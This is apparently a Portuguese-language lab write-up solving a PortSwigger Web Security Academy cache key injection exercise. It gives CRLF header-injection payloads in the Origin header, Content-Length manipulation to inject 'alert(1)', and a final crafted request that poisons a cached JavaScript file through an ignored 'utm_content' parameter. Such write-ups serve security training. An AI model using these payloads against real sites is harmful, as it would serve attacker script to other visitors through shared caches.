> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/cache-poisoning/cache-key-injection.md).

# Injeção na chave do cache

Notas sobre injeção na chave do cache para os laboratórios do PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payload, validação no Burp Suite e contexto de remediação.

### Injeção na Chave do Cache

### Injeção na Chave do Cache

Precisamos combinar várias falhas (incluindo **injeção na chave do cache**) para executar **`alert(1)`** no navegador da vítima. O laboratório exige o uso do cabeçalho **`Pragma: x-get-cache-key`**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a1acbb2d438aa7bece67036c8469117944898d1%2F%7BBB8AEC0B-2845-4707-92E0-E0EC29FFBE3A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Reconhecimento

1/) Comportamento do login

* Temos um painel de conexão.
* Após o login, somos redirecionados para **`/login/?lang=en`**.
* Um cookie de sessão é então definido.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc2a931ab62b85905c663ead76ee92cf365cc591%2F%7BCFDA343D-18D9-4A4E-B201-AD2D2F448C34%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

2/) Reflexão do `lang` parâmetro

* Nossa entrada aparece na resposta por meio de `lang`:
* Exemplo: **`/login/?lang=HELLLOOOO`**

```bash
/login/?lang=HELLLOOOO
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f28cdf50b4733c230a62e09dce3a6395f0ba559%2F%7B17906ACC-07FB-404C-A3F6-42BF0D0407C6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Se colocarmos tags HTML (por exemplo, `<h1>`), **ela não executa**: há codificação HTML\*\*.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-60fad42f0ec8cc458181020f44e82c2045433331%2F%7B475BC26C-7E37-43FF-99FE-E6EA7448F512%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Ponto de Entrada Operacional

Arquivo JS oculto: `localize.js`

```bash
/js/localize.js?lang=en&cors=0
```

Percebemos um script em segundo plano:

* **`/js/localize.js?lang=en&CORS=0`**
* Resposta observada:
* `document.cookie = 'lang=en';`

Se alterarmos `lang`, o valor é refletido:

* **`/js/localize.js?lang=hello&CORS=0`** → `hello` aparece na resposta.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7743c4ea0cf45a253f8bd6de63e3cae9592ab5ce%2F%7B7FB44CFC-718B-41C9-8590-00A0B2841462%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Observação da Chave do Cache

Adicionamos:

```http
Pragma: x-get-cache-key
```

E obtemos a chave:

* `X-Cache-Key: /js/localize.js?lang=en&CORS=0$$`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8aabb24c2d9bcf343b42fb004c768a9b4572c8e3%2F%7B3354A351-D591-4D44-A0AB-4E95DDDAF7FA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Descobrimos que `CORS` influencia a chave, e que, ao manipular **origem** + `CORS`, podemos fazer variar o que entra no cache.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8811b02b819b929fa990224dc9f5335437a805ed%2F%7B6FB2F228-2C46-4DA5-81D4-9D3AF46409A0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Injeção de Cabeçalhos via Back Cart

Usamos injeção CRLF:

* `%0d%0a`

```
man ascii
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-54cb0267ca2ecc00028d4a38ca763b4e3bcc27e1%2Fimage%20(3098).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 1) Teste: Injeção de Cookie

Enviamos:

* `Origin: hello%0d%0aSet-Cookie:%20csrfKey=a`

Resultado: o cookie é interpretado corretamente do lado da resposta.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-163ad6f6a0e182eb18fa7ce90134fdf2259b9d77%2F%7B51717951-1BA3-466A-849A-AE795F6B5783%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Injeção de JavaScript ao Manipular `Content-Length`

Em seguida, tentamos injetar conteúdo na resposta com:

* `Origin: x%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)$$$$`

Na resposta, encontramos **`alert(1)`**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f4dadb4419f9e798e6edd81836d7db4d6b84892%2F%7B66177E98-484A-472A-B58B-FADF52A67773%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Construir Resposta Oculta Direcionada

Para que o servidor armazene esta versão (com `alert(1)`), a **chave do cache** deve corresponder a um formato que inclua nossa `origem`, por exemplo:

{% code overflow="wrap" %}

```http
X-Cache-Key: /js/localize.js?lang=hello&cors=1$$origin=hello%0d%0aContent-Length: 8%0d%0a%0d%0aalert(1)
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b27a41b9949dcdd648331b13506c94ade3d9fb49%2F%7BCE27C2CE-0BCC-4773-80C4-D26191AFA5A1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Deslocamento no Lado da Vítima via um Parâmetro Ignorado

Procuramos um parâmetro ignorado pelo cache (encontrado com o Param Miner):

* **`utm_content`**

Reutilizamos a chave do cache e colocamos o payload em `utm_content` para servir o recurso envenenado enquanto visita `lang=en`.

Requisição Final (como usamos):

{% code overflow="wrap" %}

```bash
GET /login?lang=en?utm_content=x%26cors=1%26x=1$$origin=x%250d%250aContent-Length:%208%250d%250a%250d%250aalert(1)$$%23 HTTP/2
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d0bd7ade7e74687ff349fe8ff48548b416b6cb63%2F%7B8B884C36-3E90-4DDF-8249-3CA7DAAFB044%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Quando a vítima abre a página em **`/login/?lang=en`** (via redirecionamento), o conteúdo envenenado é servido do cache, e **`alert(1)`** é executado.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-688fd4eebedefee8f767ea116d0a28dad5ed05cf%2F%7BC2D5999F-6555-4179-B883-EC42FECE47B3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

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